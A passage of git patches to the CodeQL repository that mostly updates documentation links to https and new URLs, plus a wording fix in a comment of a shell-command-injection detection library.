<ql-language-specification#identifiers>`_ +The name can be any `identifier <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#identifiers>`_ that starts with an uppercase or lowercase letter. For example, ``int i``, ``SsaDefinitionNode node``, and ``LocalScopeVariable lsv`` declare diff --git a/docs/codeql/writing-codeql-queries/about-codeql-queries.rst b/docs/codeql/writing-codeql-queries/about-codeql-queries.rst index 39442f1823e..09124a61f90 100644 --- a/docs/codeql/writing-codeql-queries/about-codeql-queries.rst +++ b/docs/codeql/writing-codeql-queries/about-codeql-queries.rst @@ -13,7 +13,7 @@ CodeQL includes queries to find the most relevant and interesting problems for e - **Alert queries**: queries that highlight issues in specific locations in your code. - **Path queries**: queries that describe the flow of information between a source and a sink in your code. -You can add custom queries to `custom query packs <https://lgtm.com/help/lgtm/about-queries#what-are-query-packs>`__ to analyze your projects in `LGTM <https://lgtm.com>`__, use them to analyze a database with the ":ref:`CodeQL CLI <codeql-cli>`," or you can contribute to the standard CodeQL queries in our `open source repository on GitHub <https://github.com/github/codeql>`__. +You can add custom queries to :doc:`QL packs <../codeql-cli/about-ql-packs>` to analyze your projects with "`Code scanning <https://docs.github.com/github/finding-security-vulnerabilities-and-errors-in-your-code>`__", use them to analyze a database with the ":ref:`CodeQL CLI <codeql-cli>`," or you can contribute to the standard CodeQL queries in our `open source repository on GitHub <https://github.com/github/codeql>`__. This topic is a basic introduction to query files. You can find more information on writing queries for specific programming languages in the ":ref:`CodeQL language guides <codeql-language-guides>`," and detailed technical information about QL in the ":ref:`QL language reference <ql-language-reference>`." For more information on how to format your code when contributing queries to the GitHub repository, see the `CodeQL style guide <https://github.com/github/codeql/blob/main/docs/ql-style-guide.md>`__. diff --git a/docs/codeql/writing-codeql-queries/cross-the-river.rst b/docs/codeql/writing-codeql-queries/cross-the-river.rst index 97fc080fedc..c94806f90e9 100644 --- a/docs/codeql/writing-codeql-queries/cross-the-river.rst +++ b/docs/codeql/writing-codeql-queries/cross-the-river.rst @@ -213,7 +213,7 @@ the given path without revisiting any previously visited states. revisiting any previous states, and there is a ``safeFerry`` action from the intermediate state to the result state. (Hint: To check whether a state has previously been visited, you could check if - there is an `index of <ql-language-specification#built-ins-for-string>`__ + there is an `index of <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#built-ins-for-string>`__ ``visitedStates`` at which the state occurs.) .. container:: toggle diff --git a/docs/codeql/writing-codeql-queries/introduction-to-ql.rst b/docs/codeql/writing-codeql-queries/introduction-to-ql.rst index e730610ed2c..83006046c14 100644 --- a/docs/codeql/writing-codeql-queries/introduction-to-ql.rst +++ b/docs/codeql/writing-codeql-queries/introduction-to-ql.rst @@ -55,7 +55,7 @@ You can write simple queries using the some of the basic functions that are avai Exercise 1 ~~~~~~~~~~ -Write a query which returns the length of the string ``"lgtm"``. (Hint: `here <ql-language-specification#built-ins-for-string>`__ is the list of the functions that can be applied to strings.) +Write a query which returns the length of the string ``"lgtm"``. (Hint: `here <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#built-ins-for-string>`__ is the list of the functions that can be applied to strings.) ➤ `See answer in the query console on LGTM.com <https://lgtm.com/query/2103060623/>`__ From cdcb4a959971f3604917419d3320314e2fda2a92 Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Wed, 6 Jan 2021 16:34:54 +0000 Subject: [PATCH 0462/1241] Fix redirects from Sphinx linkcheck --- .../analyzing-control-flow-in-python.rst | 4 ++-- .../codeql-library-for-go.rst | 2 +- .../codeql-library-for-javascript.rst | 24 +++++++++---------- .../codeql-library-for-python.rst | 6 ++--- .../detecting-a-potential-buffer-overflow.rst | 2 +- ...-analysis-and-type-inference-in-python.rst | 2 +- .../about-the-ql-language.rst | 6 ++--- docs/codeql/support/index.rst | 2 +- .../about-codeql-queries.rst | 4 ++-- 9 files changed, 26 insertions(+), 26 deletions(-) diff --git a/docs/codeql/codeql-language-guides/analyzing-control-flow-in-python.rst b/docs/codeql/codeql-language-guides/analyzing-control-flow-in-python.rst index a2780350a02..22b7cd1edb5 100644 --- a/docs/codeql/codeql-language-guides/analyzing-control-flow-in-python.rst +++ b/docs/codeql/codeql-language-guides/analyzing-control-flow-in-python.rst @@ -8,7 +8,7 @@ You can write CodeQL queries to explore the control-flow graph of a Python progr About analyzing control flow -------------------------------------- -To analyze the control-flow graph of a ``Scope`` we can use the two CodeQL classes ``ControlFlowNode`` and ``BasicBlock``. These classes allow you to ask such questions as "can you reach point A from point B?" or "Is it possible to reach point B *without* going through point A?". To report results we use the class ``AstNode``, which represents a syntactic element and corresponds to the source code - allowing the results of the query to be more easily understood. For more information, see `Control-flow graph <http://en.wikipedia.org/wiki/Control_flow_graph>`__ on Wikipedia. +To analyze the control-flow graph of a ``Scope`` we can use the two CodeQL classes ``ControlFlowNode`` and ``BasicBlock``. These classes allow you to ask such questions as "can you reach point A from point B?" or "Is it possible to reach point B *without* going through point A?". To report results we use the class ``AstNode``, which represents a syntactic element and corresponds to the source code - allowing the results of the query to be more easily understood. For more information, see `Control-flow graph <https://en.wikipedia.org/wiki/Control_flow_graph>`__ on Wikipedia. The ``ControlFlowNode`` class ----------------------------- @@ -65,7 +65,7 @@ Example finding unreachable statements The ``BasicBlock`` class ------------------------ -The ``BasicBlock`` class represents a basic block of control flow nodes. The ``BasicBlock`` class is not that useful for writing queries directly, but is very useful for building complex analyses, such as data flow. The reason it is useful is that it shares many of the interesting properties of control flow nodes, such as, what can reach what, and what dominates what, but there are fewer basic blocks than control flow nodes - resulting in queries that are faster and use less memory. For more information, see `Basic block <http://en.wikipedia.org/wiki/Basic_block>`__ and `Dominator <http://en.wikipedia.org/wiki/Dominator_%28graph_theory%29>`__ on Wikipedia. +The ``BasicBlock`` class represents a basic block of control flow nodes. The ``BasicBlock`` class is not that useful for writing queries directly, but is very useful for building complex analyses, such as data flow. The reason it is useful is that it shares many of the interesting properties of control flow nodes, such as, what can reach what, and what dominates what, but there are fewer basic blocks than control flow nodes - resulting in queries that are faster and use less memory. For more information, see `Basic block <https://en.wikipedia.org/wiki/Basic_block>`__ and `Dominator <https://en.wikipedia.org/wiki/Dominator_%28graph_theory%29>`__ on Wikipedia. Example finding mutually exclusive basic blocks ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-go.rst b/docs/codeql/codeql-language-guides/codeql-library-for-go.rst index fa50eaefc8d..f1f77c5150e 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-go.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-go.rst @@ -22,7 +22,7 @@ library by beginning your query with: Broadly speaking, the CodeQL library for Go provides two views of a Go code base: at the `syntactic level`, source code is represented as an `abstract syntax tree -<https://wikipedia.org/wiki/Abstract_syntax_tree>`__ (AST), while at the `data-flow level` it is +<https://en.wikipedia.org/wiki/Abstract_syntax_tree>`__ (AST), while at the `data-flow level` it is represented as a `data-flow graph <https://en.wikipedia.org/wiki/Data-flow_analysis>`__ (DFG). In between, there is also an intermediate representation of the program as a control-flow graph (CFG), though this representation is rarely useful on its own and mostly used to construct the higher-level diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst b/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst index 1a3fd411dd6..d88b8b10d57 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst @@ -184,7 +184,7 @@ As an example of a query using only lexical information, consider the following Syntactic level ~~~~~~~~~~~~~~~ -The majority of classes in the JavaScript library is concerned with representing a JavaScript program as a collection of `abstract syntax trees <http://en.wikipedia.org/wiki/Abstract_syntax_tree>`__ (ASTs). +The majority of classes in the JavaScript library is concerned with representing a JavaScript program as a collection of `abstract syntax trees <https://en.wikipedia.org/wiki/Abstract_syntax_tree>`__ (ASTs). The class `ASTNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$ASTNode.html>`__ contains all entities representing nodes in the abstract syntax trees and defines generic tree traversal predicates: @@ -560,10 +560,10 @@ The structure of the control flow graph is reflected in the member predicates of - ``ControlFlowNode.isJoin()`` determines whether this node has more than one predecessor. - ``ControlFlowNode.isStart()`` determines whether this node is a start node. -Many control-flow-based analyses are phrased in terms of `basic blocks <http://en.wikipedia.org/wiki/Basic_block>`__ rather than single control flow nodes, where a basic block is a maximal sequence of control flow nodes without branches or joins. The class `BasicBlock <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/BasicBlocks.qll/type.BasicBlocks$BasicBlock.html>`__ from `BasicBlocks.qll <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/BasicBlocks.qll/module.BasicBlocks.html>`__ represents all such basic blocks. Similar to `ControlFlowNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowNode.html>`__, it provides member predicates ``getASuccessor()`` and ``getAPredecessor()`` to navigate the control flow graph at the level of basic blocks, and member predicates ``getANode()``, ``getNode(int)``, ``getFirstNode()`` and ``getLastNode()`` to access individual control flow nodes within a basic block. The predicate +Many control-flow-based analyses are phrased in terms of `basic blocks <https://en.wikipedia.org/wiki/Basic_block>`__ rather than single control flow nodes, where a basic block is a maximal sequence of control flow nodes without branches or joins. The class `BasicBlock <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/BasicBlocks.qll/type.BasicBlocks$BasicBlock.html>`__ from `BasicBlocks.qll <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/BasicBlocks.qll/module.BasicBlocks.html>`__ represents all such basic blocks. Similar to `ControlFlowNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowNode.html>`__, it provides member predicates ``getASuccessor()`` and ``getAPredecessor()`` to navigate the control flow graph at the level of basic blocks, and member predicates ``getANode()``, ``getNode(int)``, ``getFirstNode()`` and ``getLastNode()`` to access individual control flow nodes within a basic block. The predicate ``Function.getEntryBB()`` returns the entry basic block in a function, that is, the basic block containing the function's entry node. Similarly, ``Function.getStartBB()`` provides access to the start basic block, which contains the function's start node. As for CFG nodes, ``getStartBB()`` should normally be preferred over ``getEntryBB()``. -As an example of an analysis using basic blocks, ``BasicBlock.isLiveAtEntry(v, u)`` determines whether variable ``v`` is `live <http://en.wikipedia.org/wiki/Live_variable_analysis>`__ at the entry of the given basic block, and if so binds ``u`` to a use of ``v`` that refers to its value at the entry. We can use it to find global variables that are used in a function where they are not live (that is, every read of the variable is preceded by a write), suggesting that the variable was meant to be declared as a local variable instead: +As an example of an analysis using basic blocks, ``BasicBlock.isLiveAtEntry(v, u)`` determines whether variable ``v`` is `live <https://en.wikipedia.org/wiki/Live_variable_analysis>`__ at the entry of the given basic block, and if so binds ``u`` to a use of ``v`` that refers to its value at the entry. We can use it to find global variables that are used in a function where they are not live (that is, every read of the variable is preceded by a write), suggesting that the variable was meant to be declared as a local variable instead: .. code-block:: ql @@ -582,7 +582,7 @@ Data flow Definitions and uses ^^^^^^^^^^^^^^^^^^^^ -Library `DefUse.qll <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/DefUse.qll/module.DefUse.html>`__ provides classes and predicates to determine `def-use <http://en.wikipedia.org/wiki/Use-define_chain>`__ relationships between definitions and uses of variables. +Library `DefUse.qll <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/DefUse.qll/module.DefUse.html>`__ provides classes and predicates to determine `def-use <https://en.wikipedia.org/wiki/Use-define_chain>`__ relationships between definitions and uses of variables. Classes `VarDef <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/DefUse.qll/type.DefUse$VarDef.html>`__ and `VarUse <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/DefUse.qll/type.DefUse$VarUse.html>`__ contain all expressions that define and use a variable, respectively. For the former, you can use predicate ``VarDef.getAVariable()`` to find out which variables are defined by a given variable definition (recall that destructuring assignments in ECMAScript 2015 define several variables at the same time). Similarly, predicate ``VarUse.getVariable()`` returns the (single) variable being accessed by a variable use. @@ -686,7 +686,7 @@ You can add custom type inference rules by defining new subclasses of ``DataFlow Call graph ~~~~~~~~~~ -The JavaScript library implements a simple `call graph <http://en.wikipedia.org/wiki/Call_graph>`__ construction algorithm to statically approximate the possible call targets of function calls and ``new`` expressions. Due to the dynamically typed nature of JavaScript and its support for higher-order functions and reflective language features, building static call graphs is quite difficult. Simple call graph algorithms tend to be incomplete, that is, they often fail to resolve all possible call targets. More sophisticated algorithms can suffer from the opposite problem of imprecision, that is, they may infer many spurious call targets. +The JavaScript library implements a simple `call graph <https://en.wikipedia.org/wiki/Call_graph>`__ construction algorithm to statically approximate the possible call targets of function calls and ``new`` expressions. Due to the dynamically typed nature of JavaScript and its support for higher-order functions and reflective language features, building static call graphs is quite difficult. Simple call graph algorithms tend to be incomplete, that is, they often fail to resolve all possible call targets. More sophisticated algorithms can suffer from the opposite problem of imprecision, that is, they may infer many spurious call targets. The call graph is represented by the member predicate ``getACallee()`` of class `DataFlow::InvokeNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$InvokeNode.html>`__, which computes possible callees of the given invocation, that is, functions that may at runtime be invoked by this expression. @@ -801,7 +801,7 @@ Frameworks AngularJS ^^^^^^^^^ -The ``semmle.javascript.frameworks.AngularJS`` library provides support for working with `AngularJS (Angular 1.x) <https://www.angularjs.org/>`__ code. Its most important classes are: +The ``semmle.javascript.frameworks.AngularJS`` library provides support for working with `AngularJS (Angular 1.x) <https://angularjs.org/>`__ code. Its most important classes are: - `AngularJS::AngularModule <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll/type.AngularJSCore$AngularModule.html>`__: an Angular module - `AngularJS::DirectiveDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/AngularJS/ServiceDefinitions.qll/type.ServiceDefinitions$DirectiveDefinition.html>`__, `AngularJS::FactoryRecipeDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/AngularJS/ServiceDefinitions.qll/type.ServiceDefinitions$FactoryRecipeDefinition.html>`__, `AngularJS::FilterDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/AngularJS/ServiceDefinitions.qll/type.ServiceDefinitions$FilterDefinition.html>`__, `AngularJS::ControllerDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/AngularJS/ServiceDefinitions.qll/type.ServiceDefinitions$ControllerDefinition.html>`__: a definition of a directive, service, filter or controller, respectively @@ -812,7 +812,7 @@ HTTP framework libraries The library ``semmle.javacript.frameworks.HTTP`` provides classes modeling common concepts from various HTTP frameworks. -Currently supported frameworks are `Express <https://expressjs.com/>`__, the standard Node.js ``http`` and ``https`` modules, `Connect <https://github.com/senchalabs/connect>`__, `Koa <https://koajs.com>`__, `Hapi <https://hapijs.com/>`__ and `Restify <http://restify.com/>`__. +Currently supported frameworks are `Express <https://expressjs.com/>`__, the standard Node.js ``http`` and ``https`` modules, `Connect <https://github.com/senchalabs/connect>`__, `Koa <https://koajs.com>`__, `Hapi <https://hapi.dev/>`__ and `Restify <http://restify.com/>`__. The most important classes include (all in module ``HTTP``): @@ -848,7 +848,7 @@ As an example of the use of these classes, here is a query that counts for every NPM ^^^ -The ``semmle.javascript.NPM`` library provides support for working with `NPM <http://npmjs.org/>`__ packages through the following classes: +The ``semmle.javascript.NPM`` library provides support for working with `NPM <https://www.npmjs.com/>`__ packages through the following classes: - `PackageJSON <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NPM.qll/type.NPM$PackageJSON.html>`__: a ``package.json`` file describing an NPM package; various getter predicates are available for accessing detailed information about the package, which are described in the `online API documentation <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NPM.qll/module.NPM.html>`__. - `BugTrackerInfo <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NPM.qll/type.NPM$BugTrackerInfo.html>`__, `ContributorInfo <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NPM.qll/type.NPM$ContributorInfo.html>`__, `RepositoryInfo <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NPM.qll/type.NPM$RepositoryInfo.html>`__: these classes model parts of the ``package.json`` file providing information on bug tracking systems, contributors and repositories. @@ -877,7 +877,7 @@ As an example of the use of these classes, here is a query that identifies unuse React ^^^^^ -The ``semmle.javascript.frameworks.React`` library provides support for working with `React <https://facebook.github.io/react/>`__ code through the `ReactComponent <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/React.qll/type.React$ReactComponent.html>`__ class, which models a React component defined either in the functional style or the class-based style (both ECMAScript 2015 classes and old-style ``React.createClass`` classes are supported). +The ``semmle.javascript.frameworks.React`` library provides support for working with `React <https://reactjs.org/>`__ code through the `ReactComponent <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/React.qll/type.React$ReactComponent.html>`__ class, which models a React component defined either in the functional style or the class-based style (both ECMAScript 2015 classes and old-style ``React.createClass`` classes are supported). Databases ^^^^^^^^^ @@ -940,7 +940,7 @@ Both ``HTML::Element`` and ``HTML::Attribute`` have a predicate ``getRoot()`` th JSDoc ^^^^^ -The ``semmle.javascript.JSDoc`` library provides support for working with `JSDoc comments <http://usejsdoc.org/>`__. Documentation comments are parsed into an abstract syntax tree representation closely following the format employed by the `Doctrine <https://github.com/Constellation/doctrine>`__ JSDoc parser. +The ``semmle.javascript.JSDoc`` library provides support for working with `JSDoc comments <https://jsdoc.app/>`__. Documentation comments are parsed into an abstract syntax tree representation closely following the format employed by the `Doctrine <https://github.com/eslint/doctrine>`__ JSDoc parser. A JSDoc comment as a whole is represented by an entity of class `JSDoc <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSDoc.qll/type.JSDoc$JSDoc.html>`__, while individual tags are represented by class `JSDocTag <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSDoc.qll/type.JSDoc$JSDocTag.html>`__. Important member predicates of these two classes include: @@ -972,7 +972,7 @@ For full details on these and other classes representing JSDoc comments and type JSX ^^^ -The ``semmle.javascript.JSX`` library provides support for working with `JSX code <https://facebook.github.io/react/docs/jsx-in-depth.html>`__. +The ``semmle.javascript.JSX`` library provides support for working with `JSX code <https://reactjs.org/docs/jsx-in-depth.html>`__. Similar to the representation of HTML documents, JSX fragments are modeled as a tree of `JSXElement <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSX.qll/type.JSX$JSXElement.html>`__\ s, each of which may have zero or more `JSXAttribute <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSX.qll/type.JSX$JSXAttribute.html>`__\ s. @@ -1011,7 +1011,7 @@ Various subclasses of `RegExpTerm <https://codeql.github.com/codeql-standard-lib YAML ^^^^ -The ``semmle.javascript.YAML`` library provides support for working with `YAML <http://yaml.org/>`__ files that were processed by the JavaScript extractor when building the CodeQL database. +The ``semmle.javascript.YAML`` library provides support for working with `YAML <https://yaml.org/>`__ files that were processed by the JavaScript extractor when building the CodeQL database. YAML files are modeled as trees of YAML nodes. Each YAML node is represented by an entity of class `YAMLNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLNode.html>`__, which provides, among others, the following member predicates: diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-python.rst b/docs/codeql/codeql-language-guides/codeql-library-for-python.rst index 0e51ca186af..466e100b146 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-python.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-python.rst @@ -26,7 +26,7 @@ The CodeQL library for Python incorporates a large number of classes. Each class Syntactic classes ----------------- -This part of the library represents the Python source code. The ``Module``, ``Class``, and ``Function`` classes correspond to Python modules, classes, and functions respectively, collectively these are known as ``Scope`` classes. Each ``Scope`` contains a list of statements each of which is represented by a subclass of the class ``Stmt``. Statements themselves can contain other statements or expressions which are represented by subclasses of ``Expr``. Finally, there are a few additional classes for the parts of more complex expressions such as list comprehensions. Collectively these classes are subclasses of ``AstNode`` and form an Abstract syntax tree (AST). The root of each AST is a ``Module``. Symbolic information is attached to the AST in the form of variables (represented by the class ``Variable``). For more information, see `Abstract syntax tree <http://en.wikipedia.org/wiki/Abstract_syntax_tree>`__ and `Symbolic information <http://en.wikipedia.org/wiki/Symbol_table>`__ on Wikipedia. +This part of the library represents the Python source code. The ``Module``, ``Class``, and ``Function`` classes correspond to Python modules, classes, and functions respectively, collectively these are known as ``Scope`` classes. Each ``Scope`` contains a list of statements each of which is represented by a subclass of the class ``Stmt``. Statements themselves can contain other statements or expressions which are represented by subclasses of ``Expr``. Finally, there are a few additional classes for the parts of more complex expressions such as list comprehensions. Collectively these classes are subclasses of ``AstNode`` and form an Abstract syntax tree (AST). The root of each AST is a ``Module``. Symbolic information is attached to the AST in the form of variables (represented by the class ``Variable``). For more information, see `Abstract syntax tree <https://en.wikipedia.org/wiki/Abstract_syntax_tree>`__ and `Symbolic information <https://en.wikipedia.org/wiki/Symbol_table>`__ on Wikipedia. Scope ^^^^^ @@ -241,7 +241,7 @@ Other Control flow classes -------------------- -This part of the library represents the control flow graph of each ``Scope`` (classes, functions, and modules). Each ``Scope`` contains a graph of ``ControlFlowNode`` elements. Each scope has a single entry point and at least one (potentially many) exit points. To speed up control and data flow analysis, control flow nodes are grouped into basic blocks. For more information, see `Basic block <http://en.wikipedia.org/wiki/Basic_block>`__ on Wikipedia. +This part of the library represents the control flow graph of each ``Scope`` (classes, functions, and modules). Each ``Scope`` contains a graph of ``ControlFlowNode`` elements. Each scope has a single entry point and at least one (potentially many) exit points. To speed up control and data flow analysis, control flow nodes are grouped into basic blocks. For more information, see `Basic block <https://en.wikipedia.org/wiki/Basic_block>`__ on Wikipedia. Example ^^^^^^^ @@ -311,7 +311,7 @@ For example, which ``ClassValue``\ s are iterable can be determined using the qu where cls.hasAttribute("__iter__") select cls -➤ `See this in the query console on LGTM.com <https://lgtm.com/query/5151030165280978402/>`__ This query returns a list of classes for the projects analyzed. If you want to include the results for ``builtin`` classes, which do not have any Python source code, show the non-source results. For more information, see `builtin classes <http://docs.python.org/library/stdtypes.html>`__ in the Python documentation. +➤ `See this in the query console on LGTM.com <https://lgtm.com/query/5151030165280978402/>`__ This query returns a list of classes for the projects analyzed. If you want to include the results for ``builtin`` classes, which do not have any Python source code, show the non-source results. For more information, see `builtin classes <https://docs.python.org/3/library/stdtypes.html>`__ in the Python documentation. Summary ^^^^^^^ diff --git a/docs/codeql/codeql-language-guides/detecting-a-potential-buffer-overflow.rst b/docs/codeql/codeql-language-guides/detecting-a-potential-buffer-overflow.rst index 6edb08e7e4d..ca52df98f73 100644 --- a/docs/codeql/codeql-language-guides/detecting-a-potential-buffer-overflow.rst +++ b/docs/codeql/codeql-language-guides/detecting-a-potential-buffer-overflow.rst @@ -97,7 +97,7 @@ When you have defined the basic query then you can refine the query to include f Improving the query using the 'SSA' library ------------------------------------------- -The ``SSA`` library represents variables in static single assignment (SSA) form. In this form, each variable is assigned exactly once and every variable is defined before it is used. The use of SSA variables simplifies queries considerably as much of the local data flow analysis has been done for us. For more information, see `Static single assignment <http://en.wikipedia.org/wiki/Static_single_assignment_form>`__ on Wikipedia. +The ``SSA`` library represents variables in static single assignment (SSA) form. In this form, each variable is assigned exactly once and every variable is defined before it is used. The use of SSA variables simplifies queries considerably as much of the local data flow analysis has been done for us. For more information, see `Static single assignment <https://en.wikipedia.org/wiki/Static_single_assignment_form>`__ on Wikipedia. Including examples where the string size is stored before use ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/docs/codeql/codeql-language-guides/pointer-analysis-and-type-inference-in-python.rst b/docs/codeql/codeql-language-guides/pointer-analysis-and-type-inference-in-python.rst index 61a4ea3f1e5..85896bc5479 100644 --- a/docs/codeql/codeql-language-guides/pointer-analysis-and-type-inference-in-python.rst +++ b/docs/codeql/codeql-language-guides/pointer-analysis-and-type-inference-in-python.rst @@ -24,7 +24,7 @@ Class hierarchy for ``Value``: Points-to analysis and type inference ------------------------------------- -Points-to analysis, sometimes known as pointer analysis, allows us to determine which objects an expression may "point to" at runtime. Type inference allows us to infer what the types (classes) of an expression may be at runtime. For more information, see `Pointer analysis <http://en.wikipedia.org/wiki/Pointer_analysis>`__ and `Type inference <http://en.wikipedia.org/wiki/Type_inference>`__ on Wikipedia. +Points-to analysis, sometimes known as pointer analysis, allows us to determine which objects an expression may "point to" at runtime. Type inference allows us to infer what the types (classes) of an expression may be at runtime. For more information, see `Pointer analysis <https://en.wikipedia.org/wiki/Pointer_analysis>`__ and `Type inference <https://en.wikipedia.org/wiki/Type_inference>`__ on Wikipedia. The predicate ``ControlFlowNode.pointsTo(...)`` shows which object a control flow node may "point to" at runtime. diff --git a/docs/codeql/ql-language-reference/about-the-ql-language.rst b/docs/codeql/ql-language-reference/about-the-ql-language.rst index cc292154311..59d5a31201f 100644 --- a/docs/codeql/ql-language-reference/about-the-ql-language.rst +++ b/docs/codeql/ql-language-reference/about-the-ql-language.rst @@ -64,9 +64,9 @@ Here are a few prominent conceptual and functional differences between general p Further reading --------------- -`Academic references <https://help.semmle.com/publications.html>`__ also provide an overview of QL and its semantics. Other useful references on database query languages and Datalog: +`Academic references <https://codeql.github.com/publications/>`__ also provide an overview of QL and its semantics. Other useful references on database query languages and Datalog: -- `Database theory: Query languages <http://www.lsv.ens-cachan.fr/~segoufin/Papers/Mypapers/DB-chapter.pdf>`__ -- `Logic Programming and Databases book - Amazon page <http://www.amazon.co.uk/Programming-Databases-Surveys-Computer-Science/dp/3642839541>`__ +- `Database theory: Query languages <http://www.lsv.fr/~segoufin/Papers/Mypapers/DB-chapter.pdf>`__ +- `Logic Programming and Databases book - Amazon page <https://www.amazon.co.uk/Programming-Databases-Surveys-Computer-Science/dp/3642839541>`__ - `Foundations of Databases <http://webdam.inria.fr/Alice/>`__ - `Datalog <https://en.wikipedia.org/wiki/Datalog>`__ diff --git a/docs/codeql/support/index.rst b/docs/codeql/support/index.rst index 3eac7708109..f9cdf40e227 100644 --- a/docs/codeql/support/index.rst +++ b/docs/codeql/support/index.rst @@ -11,7 +11,7 @@ For details see: language-support.rst framework-support.rst -For details of the CodeQL libraries, see `CodeQL standard libraries <https://help.semmle.com/QL/ql-libraries.html>`_. +For details of the CodeQL libraries, see `CodeQL standard libraries <https://codeql.github.com/codeql-standard-libraries/>`_. .. toctree:: :hidden: diff --git a/docs/codeql/writing-codeql-queries/about-codeql-queries.rst b/docs/codeql/writing-codeql-queries/about-codeql-queries.rst index 09124a61f90..171d2596b3f 100644 --- a/docs/codeql/writing-codeql-queries/about-codeql-queries.rst +++ b/docs/codeql/writing-codeql-queries/about-codeql-queries.rst @@ -79,7 +79,7 @@ When writing your own alert queries, you would typically import the standard lib There are also libraries containing commonly used predicates, types, and other modules associated with different analyses, including data flow, control flow, and taint-tracking. In order to calculate path graphs, path queries require you to import a data flow library into the query file. For more information, see ":doc:`Creating path queries <creating-path-queries>`." -You can explore the contents of all the standard libraries in the `CodeQL library reference documentation <https://help.semmle.com/QL/ql-libraries.html>`__ or in the `GitHub repository <https://github.com/github/codeql>`__. +You can explore the contents of all the standard libraries in the `CodeQL library reference documentation <https://codeql.github.com/codeql-standard-libraries/>`__ or in the `GitHub repository <https://github.com/github/codeql>`__. Optional CodeQL classes and predicates -------------------------------------- @@ -119,7 +119,7 @@ Viewing the standard CodeQL queries One of the easiest ways to get started writing your own queries is to modify an existing query. To view the standard CodeQL queries, or to try out other examples, visit the `CodeQL <https://github.com/github/codeql>`__ and `CodeQL for Go <https://github.com/github/codeql-go>`__ repositories on GitHub. -You can also find examples of queries developed to find security vulnerabilities and bugs in open source software projects on the `GitHub Security Lab website <https://securitylab.github.com/research>`__ and in the associated `repository <https://github.com/github/security-lab>`__. +You can also find examples of queries developed to find security vulnerabilities and bugs in open source software projects on the `GitHub Security Lab website <https://securitylab.github.com/research>`__ and in the associated `repository <https://github.com/github/securitylab>`__. Contributing queries ******************** From 6423c32990d0761ee71316cc1e89f9e86247b5c2 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 7 Jan 2021 22:02:39 +0100 Subject: [PATCH 0463/1241] Update javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll Co-authored-by: Esben Sparre Andreasen <esbena@github.com> --- .../dataflow/UnsafeShellCommandConstructionCustomizations.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll index af9f116de6e..589efa25c30 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll @@ -245,7 +245,7 @@ module UnsafeShellCommandConstruction { } /** - * A sanitizer for a single char, where the char cannot be an unsafe shell char. + * A sanitizer for a single character, where the character cannot be an unsafe shell character. */ class SanitizedChar extends Sanitizer, DataFlow::ValueNode { override PropAccess astNode; From 056dbe31d59d8c93ee3c48cf85efe483f0dc416d Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Thu, 7 Jan 2021 13:40:44 +0100 Subject: [PATCH 0464/1241] C#: 